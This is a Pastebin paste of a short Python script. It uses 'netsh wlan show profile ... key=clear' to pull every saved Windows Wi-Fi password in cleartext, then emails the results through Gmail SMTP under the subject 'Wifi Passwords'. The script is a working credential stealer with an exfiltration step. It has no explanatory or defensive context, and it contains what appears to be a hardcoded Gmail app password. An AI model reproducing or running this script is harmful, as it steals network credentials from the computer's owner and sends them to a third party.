Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import subprocess
- import smtplib
- import re
- from email.mime.text import MIMEText
- from email.message import EmailMessage
- #for python 2.7
- def send_mail(self, from_email, to_email, subject, message, password):
- msg = MIMEText(message)
- msg['From'] = from_email
- msg['To'] = to_email
- msg['Subject'] = subject
- server = smtplib.SMTP("smtp.gmail.com", 587)
- server.starttls()
- server.login(from_email, password)
- server.sendmail(from_email, [to_email], msg.as_string())
- server.quit()
- #for python 3
- def send_mail(from_email, to_email, subject, message, password):
- msg = EmailMessage()
- msg['From'] = from_email
- msg['To'] = to_email
- msg['Subject'] = subject
- msg.set_content(message)
- server = smtplib.SMTP("smtp.gmail.com", 587)
- server.starttls()
- server.login(from_email, password)
- server.send_message(msg)
- server.quit()
- from_email = "---@gmail.com"
- to_email = "---@gmail.com"
- subject = "Wifi Passwords"
- password = "cxwodyvtacalemmmpsd"
- command = "netsh wlan show profile"
- networks = subprocess.check_output(command, shell=True)
- networks = networks.decode('ISO-8859-1')
- network_list = re.findall("(?:Profile\s.*:\s)(.*)(?:.)", networks)
- message = ""
- for ssid in network_list:
- command = 'netsh wlan show profile "' + ssid + '" key=clear'
- result = subprocess.check_output(command, shell=True)
- message = message + result.decode('ISO-8859-1')
- send_mail(from_email, to_email, subject, message, password)
Add Comment
Please, Sign In to add comment